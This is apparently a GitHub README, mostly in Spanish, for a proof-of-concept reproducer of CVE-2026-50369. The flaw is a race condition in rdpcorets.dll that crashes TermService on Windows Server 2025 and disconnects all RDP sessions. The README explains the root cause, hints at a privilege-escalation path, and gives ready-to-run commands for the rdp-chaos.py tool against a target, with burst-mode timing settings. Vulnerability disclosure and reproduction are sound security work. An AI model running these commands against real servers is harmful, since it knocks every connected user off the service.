mofarthim/cve-2026-50369PoC reproductor para CVE-2026-50369, una condición de carrera TOCTOU en rdpcorets.dll en Windows Server 2025 RDS Session Hosts que causa DoS en TermService mediante la desconexión de sesiones RDP.
reproductor para una condición de carrera TOCTOU en rdpcorets.dll!CRdpPipeGfxPlugin::Enable en Windows Server 2025 RDS Session Hosts.
lo reporté como un DoS; la ruta de código parece habilitar también EoP de alguna manera. este reproductor es una PoC únicamente para la ruta de DoS.
Enable lee un puntero de interfaz COM en this+0x60 dos veces sin sincronización. TerminateInstance limpia el mismo campo fuera del alcance de su propia sección crítica. Ambos se ejecutan concurrentemente en el threadpool de NT mediante elementos de trabajo de llegada y eliminación de dispositivos PnP. La segunda lectura desreferencia null → violación de acceso → caída de TermService → todas las sesiones RDP activas desconectadas.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030